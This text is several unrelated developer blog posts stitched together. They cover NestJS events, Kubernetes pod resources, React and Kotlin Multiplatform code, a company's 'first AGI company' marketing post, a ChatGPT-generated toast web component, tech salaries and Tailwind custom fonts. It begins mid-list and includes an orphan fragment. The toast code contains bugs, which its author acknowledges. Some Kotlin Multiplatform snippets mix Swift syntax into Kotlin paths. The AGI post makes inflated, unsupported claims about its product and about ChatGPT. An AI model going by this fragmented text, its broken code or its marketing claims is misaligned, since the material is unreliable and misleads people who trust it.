3. Event Channels: Transport events from producers to consumers.
**EDA offers several benefits:**
- Decoupling: Components are loosely coupled, reducing dependencies and making the system more modular and maintainable.
- Scalability: Asynchronous event handling allows the system to scale more effectively.
- Responsiveness: Real-time event processing leads to more responsive applications.
**NestJS and the EventEmitter Module**
NestJS is a framework that leverages TypeScript to build efficient and scalable server-side applications. It incorporates many design patterns and best practices from Angular, providing a structured way to develop applications. One of the key features of NestJS is its support for event-driven programming through the EventEmitter module.
The EventEmitter module in NestJS is built on top of the Node.js events module, offering a simple yet powerful way to implement EDA. It allows you to define events, emit them from various parts of your application, and handle them with dedicated listeners.
**Setting Up a NestJS Application**
Before diving into the implementation, let's set up a basic NestJS application. If you haven't already, install the Nest CLI globally:
```
npm install -g @nestjs/cli
```
Create a new NestJS project:
```
nest new event-driven-app
cd event-driven-app
```
Install the EventEmitter module:
```
npm install @nestjs/event-emitter
```
**Implementing Event-Driven Architecture**
**Defining Events**
First, define the events your application will use. Create a events directory in the src folder, and within it, create an events.ts file:
```
// src/events/events.ts
export class UserCreatedEvent {
constructor(public readonly userId: string, public readonly username: string) {}
}
```
**Emitting Events**
Next, emit events from appropriate parts of your application. For demonstration purposes, let's assume we have a UserService that creates users and emits a UserCreatedEvent when a new user is created.
Create a user directory in the src folder, and within it, create user.service.ts:
```
// src/user/user.service.ts
import { Injectable } from '@nestjs/common';
import { EventEmitter2 } from '@nestjs/event-emitter';
import { UserCreatedEvent } from '../events/events';
@Injectable()
export class UserService {
constructor(private eventEmitter: EventEmitter2) {}
createUser(userId: string, username: string): void {
// Logic to create a user (e.g., saving to a database)
// Emit UserCreatedEvent
const event = new UserCreatedEvent(userId, username);
this.eventEmitter.emit('user.created', event);
}
}
```
**Handling Events**
Now, create an event listener to handle the UserCreatedEvent. Create a listeners directory in the src folder, and within it, create user-created.listener.ts:
```
// src/listeners/user-created.listener.ts
import { Injectable } from '@nestjs/common';
import { OnEvent } from '@nestjs/event-emitter';
import { UserCreatedEvent } from '../events/events';
@Injectable()
export class UserCreatedListener {
@OnEvent('user.created')
handleUserCreatedEvent(event: UserCreatedEvent) {
// Logic to handle the event (e.g., sending a welcome email)
console.log(`User created: ${event.userId} (${event.username})`);
}
}
```
**Registering the Listener**
Finally, register the event listener in your application's module. Open app.module.ts and update it as follows:
```
// src/app.module.ts
import { Module } from '@nestjs/common';
import { EventEmitterModule } from '@nestjs/event-emitter';
import { UserService } from './user/user.service';
import { UserCreatedListener } from './listeners/user-created.listener';
@Module({
imports: [
EventEmitterModule.forRoot(),
],
providers: [UserService, UserCreatedListener],
})
export class AppModule {}
```
**Running the Application**
With everything set up, you can now run your NestJS application:
```
npm run start:dev
```
Test the event-driven functionality by creating a user through the UserService:
```
// src/main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { UserService } from './user/user.service';
async function bootstrap() {
const app = await NestFactory.create(AppModule);
const userService = app.get(UserService);
userService.createUser('1', 'Test User');
await app.listen(3000);
}
bootstrap();
```
```
Upon running the application, you should see the following output, indicating that the UserCreatedEvent was emitted and handled:
User created: 1 (Test User)
```
**Conclusion**
Event-driven architecture is a powerful approach for building scalable, maintainable, and responsive applications. NestJS's EventEmitter module makes it easy to implement EDA by providing a simple yet effective way to define, emit, and handle events.

It's like restricting features to sell which is very annoying. Anyway, we went and shared the version for macos, linux and windows in the MIT license.
In addition to what GPT does, we have developed an assistant that uses tools such as Langchain, Crew AI, Upsonic Tiger to document the code you take a screenshot of, open a browser, take meeting records, write a message and then copy the message to the clipboard, remember your calendar and ask questions.

1,878,822 | How to setup resources for k8s pod | Resources in k8s In Kubernetes, managing resources efficiently is significant to maintain... | 0 | 2024-06-08T12:46:44 | https://dev.to/kination/how-to-setup-resources-for-k8s-pod-4bh6 | kubernetes, dataengineering, resources | ## Resources in k8s
In Kubernetes, managing resources efficiently is significant to maintain service performance and cluster stability. One of main aspects of resource management is setting up resource requests and limits for your containers.
```yaml
---
apiVersion: v1
kind: Pod
metadata:
name: frontend
spec:
containers:
- name: app
image: images.my-company.example/app:v4
resources:
requests:
memory: "64Mi"
cpu: "250m"
limits:
memory: "128Mi"
cpu: "500m"
- name: log-aggregator
image: images.my-company.example/log-aggregator:v6
resources:
requests:
memory: "64Mi"
cpu: "250m"
limits:
memory: "128Mi"
cpu: "500m"
```
Container inside k8s pods should run based on assigned cpu/memory resources. To go on this way, if `resources` has been configured inside pod, k8s scheduler will check the available amount of resource of node before placing it.
Scheduler refuses pod to be located inside node if resource capacity is not enough, and will try to find another node. If there's no remaining node, pod will be in "pending" state, and will wait until enough resource has been released from other closed pods.
## How requests/limit setting effects the system and pod
`requests` are guaranteed resource for container, so you can think as minimum amount that container requires. Like so, `limits` are maximum amount that container can use. k8s uses it to make scheduling decisions, ensuring that there are enough resources available in the cluster to run the container.
And as you see in following, cpu/memory can be defined as resource for container.
```yaml
...
resources:
requests:
memory: "64Mi"
cpu: "250m"
limits:
memory: "1Gi"
cpu: "1"
```
But there are some difference of treating CPU and memory limitation inside k8s.
If `cpu` usage is being close to the `limits.cpu`, container is getting 'throttled'. Same as our laptop, if cpu throttles, it restrict CPU usage, and it means performance can be degraded. However, it won’t be terminated or evicted
But when `memory` goes over limitation, instead of lower the usage, container gets terminated with OOM(out-of-memory) error because there is no way to throttle memory usage. So it can cause even worst situation.
## So, how should we do?
It's not sure which level of cpu usage causes 'throttling'. Seems it depend on the type of application, and logic. Simply we can think as from "80%~90%", but some of research shows that it starts even from "30%~40%". Seems it is due to the particular way CPU limits are implemented at the Linux kernel level.
Because of this, there are several research about not setting up 'limits.cpu', to avoid performance issue. And seems it is pretty reasonable. Nevertheless, giving limits is critical to ensure that Kubernetes clusters remain stable and efficient over time.
And about memory, limitation needs to be setup with proper data based on peak values, to avoid OOM.
## How did I do?
This is the case what I've done on running "Flink + k8s".
For cpu
- Check average amount of source/sink with specific limit. Average usage percentage was around 50%.
- Reduce limit, and check whether I/O has been decreased or not.
- If not, reduce again until it shows performance restriction.
For memory
- Research peak value during several days, and setup as "peak value * 1.25".
I've defined performance level based on data input/output. But for common server application, it can be average speed of request/response, or else. Also, appropriate memory limit can be different base on application's memory usage pattern.
So make research of your own, and keep improve it.

1. **Create the main components** for the application, such as `Header`, `PhotoGallery`, `UploadForm`, and `PhotoDetails`.
2. **Implement the functionality** for each component, such as:
- Rendering a list of photos in the gallery
- Handling photo uploads and storing them in state
- Displaying photo details when a user clicks on an image
- Allowing users to like and comment on photos
3. **Use React Router** to set up routes for different pages, such as the home page, upload page, and photo details page.
4. **Style the components** using CSS or a styling library like Styled Components or Emotion.
### Example Code
Here's an example of how you might implement the `PhotoGallery` component:
```jsx
import React, { useState, useEffect } from 'react';
import { Link } from 'react-router-dom';
function PhotoGallery() {
const [photos, setPhotos] = useState([]);
useEffect(() => {
// Fetch photos from an API or database
fetchPhotos();
}, []);
const fetchPhotos = async () => {
const response = await fetch('/api/photos');
const data = await response.json();
setPhotos(data);
};
return (
<div>
<h2>Photo Gallery</h2>
<div className="photo-grid">
{photos.map(photo => (
<Link to={`/photos/${photo.id}`} key={photo.id}>
<img src={photo.url} alt={photo.caption} />
</Link>
))}
</div>
</div>
);
}
export default PhotoGallery;
```

1,881,306 | Provide a detailed introduction to KMM technology | 1. Introduction to KMM Technology KMM (Kotlin Multiplatform Mobile) is an extension of the... | 0 | 2024-06-08T12:02:39 | https://dev.to/happyer/provide-a-detailed-introduction-to-kmm-technology-4feb | android, java, development, mobile | ### 1. Introduction to KMM Technology
KMM (Kotlin Multiplatform Mobile) is an extension of the Kotlin language that allows developers to share code across different operating system platforms while maintaining native-level performance and user experience. The core idea of KMM is to enable developers to serve multiple platforms with a single codebase, which not only improves development efficiency but also reduces maintenance costs.
KMM operates based on Kotlin's Multiplatform Project (MPP) support. MPP allows developers to define shared source sets, which can be compiled and run on multiple platforms. This way, developers can focus on writing business logic once and then deploy it to different platforms such as iOS, Android, Web, and even server-side.
### 2. Core Concepts of KMM
#### 2.1. Shared Code and Platform-Specific Code
A KMM project is typically divided into two parts: shared code and platform-specific code.
- **Shared Code**: This is the core business logic of the application, written in Kotlin. Shared code can include data models, network requests, database operations, etc. Shared code is usually placed in a module named `shared`, which can be referenced by both iOS and Android projects.
- **Platform-Specific Code**: This is the code related to platform-specific components, such as UI components and platform-specific API calls. The iOS part is written in Swift or Objective-C, and the Android part is written in Kotlin or Java. Platform-specific code is usually placed in `androidApp` and `iosApp` modules.
#### 2.2. Kotlin/Native and Kotlin/JVM
KMM leverages Kotlin/Native and Kotlin/JVM to achieve cross-platform functionality.
- **Kotlin/Native**: Allows Kotlin code to be compiled into native binaries that can run on iOS. Kotlin/Native uses the LLVM compiler to compile Kotlin code into machine code, enabling efficient execution on iOS devices.
- **Kotlin/JVM**: Allows Kotlin code to be compiled into Java bytecode that can run on Android. Kotlin/JVM uses the JVM (Java Virtual Machine) to execute Kotlin code, allowing seamless integration with existing Java code and libraries.
#### 2.3. Gradle Build System
KMM projects use Gradle as the build system. Gradle scripts define the project's modules, dependencies, and build tasks. A typical KMM project includes the following modules:
- **shared**: Contains the shared code module. This module is usually written in Kotlin and includes business logic, data models, network requests, etc.
- **androidApp**: Contains the Android-specific code module. This module is usually written in Kotlin or Java and includes Android-specific UI components and API calls.
- **iosApp**: Contains the iOS-specific code module. This module is usually written in Swift or Objective-C and includes iOS-specific UI components and API calls.
### 3. How to Get Started with KMM
#### 3.1. Install Kotlin Plugin
First, ensure that you have installed the Kotlin plugin. You can install this plugin in IntelliJ IDEA or Android Studio. The Kotlin plugin provides support for the Kotlin language, enabling you to write and run Kotlin code in the IDE.
#### 3.2. Create a KMM Project
Create a new KMM project in the IDE. The IDE will generate a project structure that includes shared code and platform-specific code. You can choose to use the Kotlin Multiplatform project template to create a KMM project, which will automatically generate the shared code module and platform-specific code modules.
#### 3.3. Write Shared Code
Write shared code in the `shared` module. You can use Kotlin to write business logic, data models, network requests, etc. The shared code module typically includes the following parts:
- **Business Logic**: Handles the core logic of the application, such as data processing and calculations.
- **Data Models**: Defines the data structures of the application, such as data classes and enums.
- **Network Requests**: Handles network requests and responses, such as using the Ktor library for HTTP requests.
#### Shared Code Example
Below is a simple shared code example that demonstrates how to define a data model and business logic in the shared module:
```kotlin
// shared/src/commonMain/kotlin/com/example/shared/Model.kt
package com.example.shared
data class User(val id: Int, val name: String)
// shared/src/commonMain/kotlin/com/example/shared/Repository.kt
package com.example.shared
class UserRepository {
fun getUser(userId: Int): User {
// Simulate fetching user data from network or database
return User(userId, "User $userId")
}
}
```
#### 3.4. Write Platform-Specific Code
Write platform-specific code in the `androidApp` and `iosApp` modules. You can use Kotlin or Java to write Android code and Swift or Objective-C to write iOS code. Platform-specific code modules typically include the following parts:
- **UI Components**: Define the user interface of the application, such as Activity, Fragment, ViewController, etc.
- **Platform-Specific API Calls**: Call platform-specific APIs, such as Android's Camera API and iOS's CoreLocation API.
#### Android Platform-Specific Code Example
Below is a simple Android platform-specific code example that demonstrates how to use the business logic from the shared module in an Android application:
```kotlin
// androidApp/src/main/java/com/example/androidApp/MainActivity.kt
package com.example.androidApp
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import com.example.shared.UserRepository
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val userRepository = UserRepository()
val user = userRepository.getUser(1)
println("User: ${user.name}")
}
}
```
#### iOS Platform-Specific Code Example
Below is a simple iOS platform-specific code example that demonstrates how to use the business logic from the shared module in an iOS application:
```swift
// iosApp/iosApp/ViewController.swift
import UIKit
import shared
class ViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
let userRepository = UserRepository()
let user = userRepository.getUser(userId: 1)
print("User: \(user.name)")
}
}
```
#### 3.5. Build and Run the Project
Use the Gradle build system to build and run the project. You can run the Android application on an Android device or emulator and the iOS application on an iOS device or simulator. Gradle scripts define the build tasks and dependencies, making it easy to build and run the project.
```bash
# Build the shared module
./gradlew :shared:build
# Build and run the Android application
./gradlew :androidApp:installDebug
# Build and run the iOS application
./gradlew :iosApp:build
```
### 4. Advantages of KMM
#### 4.1. Code Sharing
The biggest advantage of KMM is code sharing. Developers can abstract common business logic into a shared module, which can generate corresponding code for all target platforms. This means that both Android and iOS applications can use the same business logic code. This code reuse significantly reduces development time and also lowers the risk of errors due to platform differences.
#### 4.2. Native Performance
Although KMM allows code sharing, it does not sacrifice native performance. The code generated by KMM is compiled into native machine code on each platform, so the application can achieve performance comparable to or even better than native development. Additionally, KMM allows developers to access platform-specific APIs, enabling them to fully utilize platform features while maintaining native performance.
#### 4.3. Extensibility
KMM is designed to be very flexible, allowing developers to add or modify platform-specific code as needed. This means that when a specific platform requires special handling, developers can easily extend it without affecting the code of other platforms. This extensibility ensures that KMM can meet cross-platform needs while also adapting to the specifics of each platform.
#### 4.4. Kotlin Ecosystem
Kotlin is a modern, statically-typed programming language with concise syntax and powerful features. KMM leverages the advantages of Kotlin, enabling developers to write high-quality code. Kotlin's concise syntax and powerful features allow developers to write code more efficiently, thereby improving development efficiency and code quality.
### 5. Application Scenarios of KMM
KMM is suitable for various application scenarios, especially those that need to implement similar functionality on multiple platforms. Here are a few typical application scenarios:
#### 5.1. Data Models and API Layer
When building cross-platform applications, data models and the API layer are the easiest parts to share. With KMM, developers can create a shared data model library that provides a unified data structure and interface for all platforms. This way, both Android and iOS applications can seamlessly interact with backend services.
For example, suppose we are developing an e-commerce application that needs to display product lists and process orders on both Android and iOS. We can use KMM to create a shared data model library that contains data classes for products and orders. These data classes have the same structure and behavior on all platforms, so they can be seamlessly used in both Android and iOS applications.
```kotlin
// Shared/src/commonMain/kotlin/com/example/ecommerce/model/Product.kt
data class Product(val id: Int, val name: String, val price: Double)
// Shared/src/commonMain/kotlin/com/example/ecommerce/model/Order.kt
data class Order(val id: Int, val customerId: Int, val products: List<Product>)
```
#### 5.2. Business Logic
Business logic is the core part of the application and often has a high degree of similarity across different platforms. Using KMM, developers can write business logic code once and reuse it across all target platforms. This not only improves development efficiency but also ensures consistency and correctness of the business logic.
Continuing with the e-commerce application example, we can use KMM to create a shared business logic library for handling order creation and updates. This library contains logic that all platforms need to execute, such as validating order information and calculating the total price.
```kotlin
// Shared/src/commonMain/kotlin/com/example/ecommerce/business/OrderService.kt
class OrderService {
fun createOrder(customerId: Int, products: List<Product>): Order {
// Validate order information and calculate total price
// ...
return Order(/* ... */)
}
fun updateOrder(orderId: Int, newProducts: List<Product>) {
// Update products in the order
// ...
}
}
```
In the Android and iOS applications, we only need to create an instance of `OrderService` and call the corresponding methods.
```kotlin
// Android/src/main/kotlin/com/example/ecommerce/MainActivity.kt
val orderService = OrderService()
val order = orderService.createOrder(1, listOf(product1, product2))
// iOS/src/iosMain/kotlin/com/example/ecommerce/ViewController.swift
let orderService = OrderService()
let order = orderService.createOrder(1, [product1, product2])
```
#### 5.3. Cross-Platform Frameworks
KMM can serve as the foundation for building cross-platform frameworks. For example, developers can create a common network request library that can be used with the same code on both Android and iOS. Such frameworks not only reduce development workload but also improve code quality and maintainability.
Suppose we need to develop a network request library for both Android and iOS applications. We can use KMM to create a shared network request module that contains common logic for sending HTTP requests and handling responses.
```kotlin
// Shared/src/commonMain/kotlin/com/example/network/HttpClient.kt
class HttpClient {
suspend fun get(url: String): HttpResponse {
// Send GET request and return response
// ...
}
suspend fun post(url: String, body: String): HttpResponse {
// Send POST request and return response
// ...
}
}
```
In the Android and iOS applications, we only need to create an instance of `HttpClient` and call the corresponding methods.
```kotlin
// Android/src/main/kotlin/com/example/MainActivity.kt
val httpClient = HttpClient()
val response = httpClient.get("https://api.example.com/products")
// iOS/src/iosMain/kotlin/com/example/ViewController.swift
let httpClient = HttpClient()
let response = httpClient.get("https://api.example.com/products")
```

1,881,304 | The First AGI Company on Earth | I am not 100% sure, but I think we're now the first official AGI company on Earth, capable of selling... | 0 | 2024-06-08T11:57:11 | https://ainiro.io/blog/the-first-agi-company-on-earth | I am not 100% sure, but I think we're now the first official AGI company on Earth, capable of selling AGI solutions to you and your company, starting out at $298 per month.
To understand why and how, you need to watch the following video to understand what AGI actually is.
{% embed https://www.youtube.com/watch?v=Us2rjE9tp6w %}
## What is AGI?
AI and LLMs such as [ChatGPT](https://chat.openai.com) are amazing at what they do, but they suffer from the lack of _"an opposable thumb"_, to use an analogy. This implies that as stand alone products, they can't really do much, if anything at all.
Artificial General Intelligence implies a computer-based AI system that is better than humans at performing any task. To understand what AGI is I asked ChatGPT to define it using one paragraph. Here's its answer.
> Artificial General Intelligence (AGI) refers to a type of artificial intelligence that possesses the ability to understand, learn, and apply knowledge across a wide range of tasks at a level comparable to human intelligence. Unlike narrow AI, which is designed for specific tasks, AGI can perform any intellectual task that a human can, including reasoning, problem-solving, understanding complex concepts, and adapting to new situations. AGI aims to replicate the flexible and generalized nature of human cognition, potentially leading to transformative impacts across various domains, from science and medicine to daily life and industry.
The key take aways from the above definition are the words; _"apply knowledge"_ and _"tasks"_. Everything else is basically already available from ChatGPT, and will only improve in the future, as OpenAI releases better and better models. If you have doubts about this, realise that ChatGPT was able to outperform your general physician by 18% in accuracy on diagnostic tasks, and 30% on empathy, according to a peer reviewed study. This was almost one year ago. In addition it was able to pass the bar exam, and a lot of other really difficult tasks typically only associated with human beings. So we basically have everything we need to create AGI, the only problem that remains, is to provide the AI with the ability to execute tasks and functions, to such interact with the real world.
We can deliver AGI systems that basically executes tasks, almost any task you can imagine, based upon your instructions. This allows us to deliver custom AGI solutions, based upon your specific needs and requirements - Whatever they happen to be. To understand how, you need to watch the following video.
{% embed https://www.youtube.com/watch?v=YkL0YKZt1_Q %}
## The Opposable Thumb Problem
AGI is not about intelligence, something illustrated by the above zoology analogy in the first video. AGI requires the ability for the AI to _do things in the real world_. If you go to ChatGPT and ask it to make you some coffee for instance, it will probably reply with _"sorry, I don't have access to your coffee machine"_. We however, _can_ deliver an AI system that can create coffee for you, assuming your coffee machine has some sort of API we can connect to of course. Creating coffee is of course just one example. Better examples can be found below.
* Send all my leads in my CRM system an email reminder about our weekly offer
* Create an appointment for next Thursday for a Zoom meeting with Rick, and send him an email about it
* Save a reminder to myself for tonight to remember to water the plants
* Or even better, remember to water the plants tonight yourself (assuming your sprinkler system has an API)
As long as we can somehow reach whatever it is we need to reach, we can provide your AI chatbot with _"a specialised opposable thumb"_, allowing it to perform that particular task.
## Can your AI drive my car?
No, and this is an argument most will use to claim it is in fact _not_ AGI, but rather _"narrow AI"_. However, there are probably 3.5 billion people on the planet who cannot drive a car at all, and my guess is that there are only two or three people that can drive _your_ car, assuming you're not renting it out to any stranger of course.
> Does this mean that only you and your wife has _"general and 'wide' intelligence?"_
Of course not. Just because a human being doesn't have a driver license, doesn't imply that human being is somehow less intelligent than you. It's just a problem of teaching the human how to drive. Currently there exists no (real) way to teach AI how to perfectly drive a car - However, when it does, we could indeed teach your AI chatbot to drive your car, assuming your car has an API.
To illustrate this, realise that we could easily deliver an AI chatbot that outperforms Magnus Carlsen on playing chess, simply by connecting to the Stockfish API, and having the AI chatbot use Stockfish to determine its next move instead of ChatGPT. This allows us to deliver an AI chatbot based upon ChatGPT that plays chess one million times better than ChatGPT does - Even though it's based upon ChatGPT.
This paradoxically reflects the way OpenAI delivers their existing models, since ChatGPT is in fact not _one_ model, it's in fact dozens of models, based upon _"mixture of experts"_ ideas. When you are querying ChatGPT, the first thing that happens, is that their internal systems determines what type of question you just submitted to it. Then it _"routes"_ your question to a specialised model that is most capable of answering your question. This implies that ChatGPT is in fact not one AI model, but rather dozens of AI models.
Hence, if you don't accept this process of _"routing"_ questions to different models, then purely logically AGI will _never_ be possible to create - Simply because we will _never_ have the _"one model to do everything"_ capability that everyone is currently defining as AGI.
> Any AGI system will inevitably be based upon access to hundreds, and possibly millions of different systems, and/or models, in order to be able to surpass human level intelligence
This implies that whoever can dynamically facilitate for ChatGPT to connect to such systems rapidly, will purely logically be able to deliver AGI - And we believe we are the first company on earth capable of actually delivering this - Starting from **today!**
## Wrapping up
Some people might argue that this is not AGI because there are things it cannot do. My counter argument to these is that neither are they _"general"_ in their intelligence, simply because there's a million different things they cannot do either. For instance, can you play the trumpet? If the answer is no, then you do not have _"general intelligence"_ according to your own definition.
However, is it ASI (Artificial Super Intelligence)? No it is not. But it _is_ AGI (Artificial General Intelligence). And to understand how, realise it knows how to do _"a bajillion things"_ that ChatGPT does not know how to do.

## Edit
I asked our AI chatbot the following question; _"Scrape the following https://ainiro.io/blog/the-first-agi-company-on-earth and let's argue whether or not it is a true statement or not. Provide a nuanced and balanced response about it."_ You can find its response below.
> The claim that AINIRO is the first AGI (Artificial General Intelligence) company on Earth is ambitious and thought-provoking. Here’s a nuanced and balanced perspective on this statement:
>
> ### Supporting Arguments
>
> **Task Execution Capability**
>
> AINIRO emphasizes that their systems can execute a wide range of tasks by integrating with various APIs and systems. This ability to perform diverse tasks based on instructions aligns with the core idea of AGI, which is to replicate human-like flexibility and adaptability.
>
> **Integration with Existing Technologies**
>
> The company leverages existing AI models like ChatGPT and enhances them by connecting to specialized systems (e.g., CRM, email, scheduling APIs). This approach can indeed extend the functionality of AI, making it more versatile and capable.
>
> **Practical Examples**
>
> The article provides practical examples such as sending emails, scheduling appointments, and even potentially making coffee, which illustrate the broad applicability of their AI solutions. These examples demonstrate the potential to automate and optimize various business processes.
>
> ## Counterarguments
>
> **Definition of AGI**
>
> Traditional definitions of AGI imply a system that can perform any intellectual task that a human can, without needing specialized integrations or APIs. AINIRO’s approach relies heavily on connecting to external systems, which some may argue is more akin to advanced narrow AI rather than true AGI.
>
> **Limitations in Scope**
>
> While AINIRO’s AI can perform many tasks, there are still significant limitations, such as driving a car or performing highly specialized tasks without specific integrations. This raises questions about whether the system truly possesses "general" intelligence or if it is still constrained by the availability and functionality of external APIs.
>
> **Comparative Analysis**
>
> Other companies and research institutions are also working on AGI, and the field is highly competitive. Claiming to be the first AGI company might be seen as premature without a comprehensive comparison with other ongoing efforts in the AI community.
>
> ## Conclusion
>
> AINIRO’s claim to be the first AGI company on Earth is bold and reflects their innovative approach to enhancing AI capabilities through integrations and task execution. While their solutions offer significant advancements and practical benefits, the debate on whether this constitutes true AGI remains open. The distinction between advanced narrow AI and AGI is nuanced, and AINIRO’s contributions are a step towards the broader vision of AGI, even if they may not fully meet the traditional definitions of AGI as understood by the AI research community.

1,880,509 | Can you fix 2 GPT Web Component errors?? | I opened my GPT Web Component Creator https://chatgpt-web-component.github.io/ or:... | 0 | 2024-06-08T11:32:51 | https://dev.to/dannyengelman/can-you-fix-2-gpt-web-component-errors-52n3 | webcomponents, javascript, openai, webdev | ## I opened my GPT Web Component Creator
https://chatgpt-web-component.github.io/
or: https://chatgpt.com/g/g-quK0nMtwZ-create-or-refactor-your-web-component
## I typed one GPT prompt:
> Create a <toast-message> Web Component capturing "toast-message" Events, displaying the message in the bottom-right of the screen for 10 seconds, then fade out and delete the messages. New message are immediatly captured in the stack
## ChatGPT created this code **in 4.2 seconds**
```javascript
<!-- Example 1 -->
<toast-message></toast-message>
<script>
customElements.define('toast-message', class extends HTMLElement {
constructor() {
const createElement = (tag, props = {}) => Object.assign(document.createElement(tag), props);
super();
super().attachShadow({ mode: 'open' }).append(
createElement('style', { innerHTML: `
:host {
position: fixed;
bottom: 10px;
right: 10px;
display: grid;
gap: 10px;
}
.toast {
background: #333;
color: #fff;
padding: 10px;
border-radius: 5px;
opacity: 1;
transition: opacity 0.5s ease;
}
.fade-out {
opacity: 0;
}
` })
);
}
connectedCallback() {
this.handleToast = this.handleToast.bind(this);
window.addEventListener('toast-message', this.handleToast);
}
disconnectedCallback() {
window.removeEventListener('toast-message', this.handleToast);
}
handleToast(event) {
const message = event.detail.message;
const toast = this.shadowRoot.appendChild(createElement('div', {
className: 'toast',
innerHTML: message
}));
setTimeout(() => {
toast.classList.add('fade-out');
setTimeout(() => this.shadowRoot.removeChild(toast), 500);
}, 10000);
}
});
</script>
<!-- Example 2 -->
<toast-message></toast-message>
<script>
window.dispatchEvent(new CustomEvent('toast-message', { detail: { message: 'This is a test message' } }));
</script>
<!-- Example 3 -->
<toast-message></toast-message>
<script>
setTimeout(() => {
window.dispatchEvent(new CustomEvent('toast-message', { detail: { message: 'Another message after 5 seconds' } }));
}, 5000);
</script>
```
## _to error is human_
Then GPT is human, because there are **2 errors** in the above code.
Here is a JSFiddle, read the console.log, and you can fix these obvious errors yourself:
https://jsfiddle.net/WebComponents/42ehaxju/
### Errors fixed; Working <toast-message> Web Component
Scroll the whole JSFiddle into view, the ``toast message`` are in the right bottom
Switch between Result and HTML Tab to run again!
{% jsfiddle https://jsfiddle.net/WebComponents/4xo7qpnu result,html %}
[scroll this line to the bottom of your screen, to See the full fiddle above]
Now all I have to do is change some styles, ask for ``gold background`` in a new GPT prompt.

As I scrolled through LinkedIn, I stumbled upon a job posting that caught me off guard—a small to medium-sized company offering an exceptionally high salary for a programmer and back-end engineer position, ranging from **$330,000 to $380,000**. This seemed anomalous considering the typical salary range for such positions, which usually falls between $80,000 to $120,000 for individuals with over 8 years of experience.
This prompted me to delve deeper into the underlying factors compelling companies to offer such enticing remuneration packages.
**Factors Influencing High Salaries in Small and Medium-Sized Companies :**
**1. Location :** The geographical location of the job significantly influences the offered salary due to varying costs of living. Companies operating in high-cost areas often find themselves obliged to provide higher salaries to offset living expenses.
**2. Talent Acquisition :** Small and medium-sized companies, lacking the brand recognition of industry giants, resort to offering lucrative salaries to attract top-tier talent in their niche. This serves as a strategic move to bolster their teams with individuals possessing the requisite expertise, thereby enhancing the company’s capabilities in a competitive landscape.
**3. Productivity :** Some companies prioritize efficiency, speed, and product quality, thus justifying the hefty salaries as investments in specialists who can single-handedly deliver the output equivalent to that of multiple employees. Consequently, this approach minimizes labor costs while maximizing productivity.
**4. Risk Mitigation :** Certain positions within a company carry significant weight in determining its resilience and software prowess. Hiring smart and talented individuals for these roles can tip the scales in favor of the company, fortifying its standing amidst uncertainties and market volatility.
**5. Team Enhancement :** Introducing a seasoned professional into the team acts as a catalyst for skill development among peers. Over time, this fosters a culture of continuous improvement, ultimately reducing the company’s expenditure on external training programs.
**6. Competitive Edge :** In the cutthroat landscape of small and medium-sized enterprises (SMEs), companies vie for market share by assembling teams comprising industry experts. Offering inflated salaries becomes imperative in securing top-tier talent capable of steering the company towards sustained growth and competitiveness.
**Reasons for Lower Salaries in Large Corporations :**
**1. Environment :** Large corporations boast expansive ecosystems teeming with talented individuals, providing ample opportunities for skill development and networking. The allure of working for renowned companies such as _Microsoft or Google_ often compensates for comparatively lower salaries.
**2. Compensation Structure :**While large corporations may offer lower base salaries, they offset this through stock options, attractive benefits packages (such as remote work opportunities), and avenues for career advancement, ensuring overall employee satisfaction.
**3. Reputation :** Prestigious companies leverage their esteemed reputation to attract top talent without resorting to exorbitant salary offers. Their established brand presence in the industry serves as a powerful magnet for prospective employees.
**In conclusion**, both small and large companies present unique value propositions to job seekers. While smaller companies entice with substantial financial rewards and opportunities for rapid career advancement, larger corporations offer stability, extensive benefits, and unparalleled industry exposure. Ultimately, individuals must weigh these factors judiciously when making career decisions, recognizing that personal growth and fulfillment extend beyond monetary considerations . | _hm |
1,881,287 | How to Use Custom Fonts with Tailwind CSS: A Step-by-Step Guide | Custom fonts can enhance the appearance and vibe of your website, giving it a distinct and visually... | 0 | 2024-06-08T11:11:08 | https://www.swhabitation.com/blogs/how-to-use-custom-fonts-with-tailwind-css-a-step-by-step-guide | css, css3, tailwindcss, googlefonts | Custom fonts can enhance the appearance and vibe of your website, giving it a distinct and visually captivating touch.
If you're using Tailwind CSS, adding these fonts is a breeze. This comprehensive guide will take you step by step, ensuring that developers of any expertise can easily follow along.
## Why Use Custom Fonts?
Fonts are essential in web design as they give personality to your website, improve readability, and evoke certain emotions.
Although Tailwind CSS provides many default fonts, there are times when you may want a more unique option.
Custom fonts can assist you in achieving that special appearance.
## Getting Started
Make sure you have a Tailwind CSS project set up before getting into the technical steps.
If you haven't done so yet, you can easily create one by referring to the [Tailwind CSS installation guide](https://tailwindcss.com/docs/installation)
## Adding Custom Fonts From Google Fonts
**Step 1: Choose Your Font**
Start by choosing the custom font that best suits your needs.
You can find a variety of free and premium fonts on platforms like Google Fonts, Adobe Fonts, and other font marketplaces.
In this article, we will be using Google Fonts.
**Step 2: Import the Font**
To find your desired font, visit [Google Fonts](https://fonts.google.com/) and make a selection.
For instance, let's go with "[Roboto](https://fonts.google.com/?query=roboto)" for this example.
Once you've chosen the font, head over to the "[Embed](https://fonts.google.com/selection/embed)" section where you'll find an HTML link.
Simply copy the `<link>` tag provided, which will look something like this
```
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap" rel="stylesheet">
```
**Step 3: Add the Font to Your Project**
Now, you can add this link to your HTML file.
Simply open your main HTML file (for example, `index.html`) and insert the link within the `<head>` element.
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My Tailwind Project</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap" rel="stylesheet">
</head>
<body>
<!-- Your content goes here -->
</body>
</html>
```
**Step 4: Extend Tailwind Configuration**
Once you have imported the font, it's time to instruct Tailwind CSS to utilize it.
